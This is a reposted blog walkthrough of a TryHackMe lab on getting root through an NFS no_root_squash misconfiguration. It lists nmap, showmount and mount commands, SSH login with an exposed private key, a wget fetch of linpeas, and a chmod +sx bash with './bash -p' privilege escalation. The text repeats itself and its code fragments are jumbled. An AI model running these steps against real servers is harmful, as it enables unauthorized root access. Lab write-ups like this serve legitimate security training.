01-08-2023, 01:35 PM
Hacking Network File System (NFS) – A TryHackMe Walkthrough
5/5 – (1 vote)
![[Image: lyteCache.php?origThumbUrl=https%3A%2F%2...efault.jpg]](https://blog.finxter.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=https%3A%2F%2Fi.ytimg.com%2Fvi%2FApudHe1bAVQ%2Fhqdefault.jpg)
OBJECTIVE
![[Image: image-34.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-34.png)
NFS (network file system) is a file system that enables file sharing between computers of different operating systems (Windows/Linux/Mac).
In this practice box from TryHackMe, we will hack into NFS and exploit a misconfiguration (No-root Squash) to obtain root access and find our final flag.
WHAT IS NO-ROOT SQUASH?
![[Image: image-35.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-35.png)
No-root Squash is an uncommon configuration (some might say a misconfiguration) on the NFS file system.
When enabled, it allows remote users to change file permissions on any file and also to add a bit to effectively run programs as the root user. Normally it is disabled to protect against hackers, and all root-created files are assigned to an unprivileged owner named .
Recommended: If you are interested in learning more technical details about how this works, I’d recommend this article on and other configuration options when using NFS.
ENUMERATION
![[Image: image-36.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-36.png)
We’ll start with a standard Nmap scan of all ports with the flag:
The scan shows an service running on port. Let’s find out what directories are mountable with the command:
( for exports)
![[Image: image-29.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-29.png)
Let’s go ahead and mount the directory to our target machine. I’m using Parrot OS virtual machine with a Mate desktop environment running in Gnome Boxes. We can mount the directory directly to our local filesystem with the command:
( indicates filetype)
And now we can continue further enumeration by poking around the filesystem.
We find a user folder in the home directory, and a hidden directory . Inside the directory there is an file that holds a private ssh key.
INITIAL FOOTHOLD – USER CAPPUCCINO
![[Image: image-37.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-37.png)
After copying the over to our target machine, we can ssh into cappuccino’s account with this command:
ENUMERATING PRIVILEGE ESCALATION ATTACK VECTORS WITH LINPEAS
![[Image: image-38.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-38.png)
Now that we have our initial foothold, we can grab a copy of the well-known script from the official git repo and use it to automate the enumeration of attack vectors for privilege escalation on the target machine. We’ll navigate to the folder and use the command on our attack machine for this:
Before running the sh program from our target machine, we need to add execute permissions to the file from our attack machine.
The beauty of mounting NFS file systems in Linux is evident here as we can easily add permissions to from our attack machine to set up the program to be executable on the target machine.
Now that is located in the folder of the target machine, we can run it to start the automated enumeration:
This will dump a long text file full of details about the target machine. The most interesting things for privilege escalation are highlighted in yellow with red text.
Scrolling through the results, we quickly find the listed under NFS. We will now move forward and exploit this misconfiguration, allowing us to escalate privileges to the root user.
![[Image: image-30.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-30.png)
EXPLOITING NO_ROOT_SQUASH
![[Image: image-39.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-39.png)
First, let’s grab the bash executable for Ubuntu Server 18.04 from the link on TryHackMe.
Now we add the bit to the file bash and make it executable. This is the key to gaining root access with .
Running bash now from our target machine doesn’t seem to change us to the root user yet.
![[Image: image-31.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-31.png)
The final trick we need to use is to enable persistence mode with the flag
![[Image: image-32.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-32.png)
If you liked this tutorial, you’d probably love my video walkthrough as well:
Recommended Tutorial: Alice in Wonderland — TryHackMe
5/5 – (1 vote)
OBJECTIVE
![[Image: image-34.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-34.png)
NFS (network file system) is a file system that enables file sharing between computers of different operating systems (Windows/Linux/Mac).
In this practice box from TryHackMe, we will hack into NFS and exploit a misconfiguration (No-root Squash) to obtain root access and find our final
Code:
root.txtWHAT IS NO-ROOT SQUASH?
![[Image: image-35.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-35.png)
No-root Squash is an uncommon configuration (some might say a misconfiguration) on the NFS file system.
When enabled, it allows remote users to change file permissions on any file and also to add a
Code:
SETUIDCode:
nfsnobody
Recommended: If you are interested in learning more technical details about how this works, I’d recommend this article on Code:
no_root_squashENUMERATION
![[Image: image-36.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-36.png)
We’ll start with a standard Nmap scan of all ports with the
Code:
-p-Code:
nmap $targetIP -p-The scan shows an
Code:
nfsCode:
showmount -e $targetIP(
Code:
-e![[Image: image-29.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-29.png)
Let’s go ahead and mount the
Code:
/homeCode:
nfsCode:
mount -t nfs $targetIP:/home /mount(
Code:
-tAnd now we can continue further enumeration by poking around the filesystem.
Code:
cd /mount
ls -laWe find a user folder in the home directory,
Code:
cappuccinoCode:
.sshCode:
id_rsaINITIAL FOOTHOLD – USER CAPPUCCINO
![[Image: image-37.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-37.png)
After copying the
Code:
id_rsaCode:
ssh -i id_rsa cappuccino@$targetIP![[Image: image-38.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-38.png)
Now that we have our initial foothold, we can grab a copy of the well-known script
Code:
linpeas.shCode:
/mountCode:
wgetCode:
sudo wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh Before running the sh program from our target machine, we need to add execute permissions to the file from our attack machine.
The beauty of mounting NFS file systems in Linux is evident here as we can easily add permissions to
Code:
linpeas.shCode:
chmod +x linpeas.shNow that
Code:
linpeas.shCode:
/homeCode:
./linpeas.shThis will dump a long text file full of details about the target machine. The most interesting things for privilege escalation are highlighted in yellow with red text.
Scrolling through the results, we quickly find the
Code:
no_root_squash![[Image: image-30.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-30.png)
EXPLOITING NO_ROOT_SQUASH
![[Image: image-39.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-39.png)
First, let’s grab the bash executable for Ubuntu Server 18.04 from the link on TryHackMe.
Code:
Sudo wget https://github.com/TheRealPoloMints/Blog/blob/master/Security%20Challenge%20Walkthroughs/Networks%202/bashNow we add the
Code:
SETUIDCode:
no_root_squashCode:
sudo chmod +sx bashRunning bash now from our target machine doesn’t seem to change us to the root user yet.
Code:
./bash![[Image: image-31.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-31.png)
The final trick we need to use is to enable persistence mode with the flag
Code:
-p![[Image: image-32.png]](https://blog.finxter.com/wp-content/uploads/2023/01/image-32.png)
If you liked this tutorial, you’d probably love my video walkthrough as well:
Recommended Tutorial: Alice in Wonderland — TryHackMe

